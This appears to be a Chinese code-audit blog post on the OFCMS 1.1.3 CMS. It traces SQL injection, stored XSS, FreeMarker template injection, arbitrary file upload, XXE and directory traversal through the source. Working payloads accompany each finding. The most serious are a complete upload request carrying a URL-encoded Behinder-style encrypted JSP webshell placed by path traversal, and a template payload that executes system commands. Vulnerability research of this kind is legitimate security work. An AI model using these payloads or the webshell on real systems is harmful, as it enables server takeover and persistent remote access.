Java代码审计-OFCMS

0x00 环境搭建

环境配置

下载地址:https://gitee.com/oufu/ofcms/repository/archive/V1.1.3?format=zip

在本地mysql创建数据库ofcms,导入ofcms-v1.1.3.sql

db-config.properties复制一份为db.properties,并修改数据库连接

配置tomcat即可

项目图片不可见,修改idea项目路径即可

项目地址

http://localhost:8088/ofcms_admin/admin/index.html

http://localhost:8088/ofcms_admin,admin/123456

0x01 漏洞分析

拿到框架先进行以下

pom.xml的依赖dependency

ofcms-V1.1.3\ofcms-admin\src\main\webapp\WEB-INF\web.xml过滤器filter

全局搜索关键字,配合网页、功能点,灰盒审计

SQL注入漏洞

poc

update of_cms_link set link_name=updatexml(1,concat(0x7e,(user())),0)

漏洞点

漏洞位置:后台 => 系统设置 => 代码生成 => 增加

com/ofsoft/cms/admin/controller/system/SystemGenerateController#create()

分析利用

通过getPara函数获取参数,再进入update方法

进入SQL语句执行处

代码中使用了PreparedStatement预编译,由于传入的是整条sql语句,导致预编译也不生效。并且没有对字符串sql进行单独的过滤处理,因此可以使用报错注入

存储型XSS

poc

<img src=1 onmouseover="alert(1)">

漏洞点

漏洞位置:新闻中心 => 新闻 => 用户评论

com/ofsoft/cms/api/v1/CommentApi#CommentApi()

分析利用

@ApiMapping(method = RequestMethod.GET):该方法是API的端点,并且只接受HTTP GET请求

@ParamsCheck:用于参数检查。确保在调用此API端点时必须提供某些参数,否则会报错

Java Servlet中,getParamsMap()方法用于获取HTTP请求参数,这些参数以键值对的形式存在。params现在是一个Map对象,其中包含了由getParamsMap()方法返回的所有键值对。

params:是一个Map对象,put:是Map接口的一个方法,用于向Map中添加或更新一个键值对。getRequest()方法返回一个HTTP请求对象,而IpKit.getRealIp()方法则从该请求中提取出实际IP地址。

先进入Db对象的getSqlPara()方法

sqlPara.setSql(template.renderToString(data));:调用模板的renderToString方法,将映射数据传递给它,并将返回的字符串设置为sqlPara对象的sql属性。

将模板中的占位符替换为实际的参数,然后返回一个封装了完整SQL语句的SqlPara对象。有助于防止SQL注入攻击,因为参数化的查询可以确保用户提供的输入不会被解释为SQL代码的一部分,而是作为数据来处理。

接着进入Db对象的update()方法

执行数据库更新操作前,并没有对参数进行过滤处理

成功弹窗

漏洞点

/ofcms-admin/admin/comn/service/update.json?sqlid=cms.form.save

未进行过滤

FreeMarker模板注入

poc

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

漏洞点

漏洞位置:后台 => 模板设置 => 模板文件 => 修改文件

com/ofsoft/cms/admin/controller/cms/TemplateController#save()

分析利用

pom.xml中存在FreeMarker依赖,该模板引擎存在模板注入,将poc写入index.html

访问首页

文件上传

poc

POST /ofcms-admin/admin/cms/template/save.json HTTP/1.1
Host: localhost:8081
Content-Length: 2008
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8081
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8081/ofcms-admin/admin/cms/template/getTemplates.html?file_name=index.html&dir=/&dir_name=/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=10FC815B3D544B665912AD25499C6E6A
Connection: close

file_path=C%3A%5CUsers%5CHW%5CDocuments%5C%E6%96%87%E6%A1%A3%5C%E8%BD%AF%E4%BB%B6%5C%E5%B7%A5%E5%85%B7%5C0%5Cjava%E5%B7%A5%E5%85%B7%5Ctomcat%5Capache-tomcat-8.5.93%5Cwebapps%5Cofcms-admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=%2F&res_path=&file_name=../../../static/shell.jsp&file_content=%3c%25%40%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%78%2e%63%72%79%70%74%6f%2e%2a%2c%6a%61%76%61%78%2e%63%72%79%70%74%6f%2e%73%70%65%63%2e%2a%22%25%3e%3c%25%21%63%6c%61%73%73%20%55%20%65%78%74%65%6e%64%73%20%43%6c%61%73%73%4c%6f%61%64%65%72%7b%55%28%43%6c%61%73%73%4c%6f%61%64%65%72%20%63%29%7b%73%75%70%65%72%28%63%29%3b%7d%70%75%62%6c%69%63%20%43%6c%61%73%73%20%67%28%62%79%74%65%20%5b%5d%62%29%7b%72%65%74%75%72%6e%20%73%75%70%65%72%2e%64%65%66%69%6e%65%43%6c%61%73%73%28%62%2c%30%2c%62%2e%6c%65%6e%67%74%68%29%3b%7d%7d%25%3e%3c%25%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%4d%65%74%68%6f%64%28%29%2e%65%71%75%61%6c%73%28%22%50%4f%53%54%22%29%29%7b%53%74%72%69%6e%67%20%6b%3d%22%65%34%35%65%33%32%39%66%65%62%35%64%39%32%35%62%22%3b%2f%2a%e5%c6%a5%3a%de%a5%c6%01%33%32%4d%6d%64%35%3c%84%4d%31%36%4d%0c%d8%a4%de%a5%c6%01%72%65%62%65%79%6f%6e%64%2a%2f%73%65%73%73%69%6f%6e%2e%70%75%74%56%61%6c%75%65%28%22%75%22%2c%6b%29%3b%43%69%70%68%65%72%20%63%3d%43%69%70%68%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%22%41%45%53%22%29%3b%63%2e%69%6e%69%74%28%32%2c%6e%65%77%20%53%65%63%72%65%74%4b%65%79%53%70%65%63%28%6b%2e%67%65%74%42%79%74%65%73%28%29%2c%22%41%45%53%22%29%29%3b%6e%65%77%20%55%28%74%68%69%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%43%6c%61%73%73%4c%6f%61%64%65%72%28%29%29%2e%67%28%63%2e%64%6f%46%69%6e%61%6c%28%6e%65%77%20%73%75%6e%2e%6d%69%73%63%2e%42%41%53%45%36%34%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%42%75%66%66%65%72%28%72%65%71%75%65%73%74%2e%67%65%74%52%65%61%64%65%72%28%29%2e%72%65%61%64%4c%69%6e%65%28%29%29%29%29%2e%6e%65%77%49%6e%73%74%61%6e%63%65%28%29%2e%65%71%75%61%6c%73%28%70%61%67%65%43%6f%6e%74%65%78%74%29%3b%7d%25%3e

漏洞点

漏洞位置:后台 => 模板设置 => 模板文件 => 修改文件

com/ofsoft/cms/admin/controller/cms/TemplateController#save(),此save()方法还存在任意文件上传漏洞

分析利用

修改file_content为冰蝎马的url编码,修改file_name…/…/…/static/shell.jsp,上传成功

冰蝎连接成功

XXE漏洞

漏洞点

com.ofsoft.cms.admin.controller.ReprotAction#expReport()

分析

断点触发方式

没有对传入的参数进行过滤,文件后缀限制为.jrxml

public void expReport() {
	HttpServletResponse response = getResponse();
    // 获取响应包
	Map<String, Object> hm = getParamsMap();
    // 将获取到的内容 赋值给Map类型的数据集hm
	String jrxmlFileName = (String) hm.get("j");
    // 将hm的“j”键的值转换为字符串
	jrxmlFileName = "/WEB-INF/jrxml/" + jrxmlFileName + ".jrxml";
    // 拼接路径+文件名+后缀
	File file = new File(PathKit.getWebRootPath() + jrxmlFileName);
    // 创建一个file实例
	String fileName = (String) hm.get("reportName");
    // 创建一个filename字符串,值为请求中的reportName的值
	log.info("报表文件名[{}]", file.getPath());
    // 使用日志工具类(可能是SLF4J、Log4j等)记录一条信息,显示报表文件的完整路径。
	OutputStream out = null;

步入getParamsMap()方法,将获取到的HTTP请求参数赋值给params变量,内容没有进行过滤

// 将一个 Map<String, String[]> 类型的参数映射转换为一个 Map<String, Object> 类型的映射。
public Map<String, Object> getParamsMap() {
    Map<String, String[]> params = getParaMap();
    // 调用getParaMap()方法,将获取到请求参数的键值,赋值给parmas
    Map<String, Object> result = new ConcurrentHashMap<String, Object>();
    // 定义一个map类型数据集的result参数
    for (String value : params.keySet()) {
        // for循环遍历参数映射的键集合
        result.put(value, params.get(value)[0]);
        // 全部写入retult map类型数据
    }
    return result;
    // 返回 result map类型数据集
}

步入JasperCompileManager.compileReport()方法

接着又调用了JRXmlLoader.load()方法

最后跟到JRXmlLoader.loadXML()方法,在loadXML方法中调用了Digester类的parse参数,解析XML文档内容,默认没有禁用外部实体解析,所以存在XXE漏洞

  • this.digester.push(this);:将当前对象this推送到digester的堆栈上。
  • this.digester.parse(is):调用digesterparse方法来解析XML输入流isis通常是一个InputStream对象,它包含了要解析的XML数据。

利用

利用前面的文件上传漏洞,上传一个后缀名为jrxml的文件,内容如下:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://127.0.0.1:7777">%xxe; ]>
// %xxe; 实体定义后是否需要在其他地方被扩展或使用,需要加上%xxe;,反之则不用加%xxe;
POST /ofcms-admin/admin/cms/template/save.json HTTP/1.1
Host: localhost:8081
Content-Length: 503
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8081
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8081/ofcms-admin/admin/cms/template/getTemplates.html?file_name=index.html&dir=/&dir_name=/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=3E93FB67712DC089E04F3DCCA9D1E968
Connection: close

file_path=C%3A%5CUsers%5CHW%5CDocuments%5C%E6%96%87%E6%A1%A3%5C%E8%BD%AF%E4%BB%B6%5C%E5%B7%A5%E5%85%B7%5C0%5Cjava%E5%B7%A5%E5%85%B7%5Ctomcat%5Capache-tomcat-8.5.93%5Cwebapps%5Cofcms-admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=%2F&res_path=&file_name=../../../static/xxe.jrxml&file_content=%3c%21%44%4f%43%54%59%50%45%20%66%6f%6f%20%5b%3c%21%45%4e%54%49%54%59%20%25%20%78%78%65%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%37%37%37%37%22%3e%25%78%78%65%3b%20%5d%3e

访问http://localhost:8081/ofcms-admin/admin/reprot/expReport?j=../../static/xxe触发漏洞

目录穿越漏洞

poc

../../../../../../../../../../../../

漏洞点

漏洞位置:后台 => 模板设置 => 模板文件 => 模板目录

分析利用

选择目录抓包

步入32getPara()方法

up_dir赋值给result

  • result为空,"".equals(result)为真,!"".equals(result)为假,返回defaultValue值,也就是/
  • result不为空,则返回result

传入的路径没有经过过滤直接创建File对象pathFile

遍历pathFile路径下的内容

0x03 参考链接

https://forum.butian.net/share/1229

https://developer.aliyun.com/article/1161200

https://blog.csdn.net/YouthBelief/article/details/122978328

https://blog.csdn.net/qq_41690468/article/details/132093809

暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇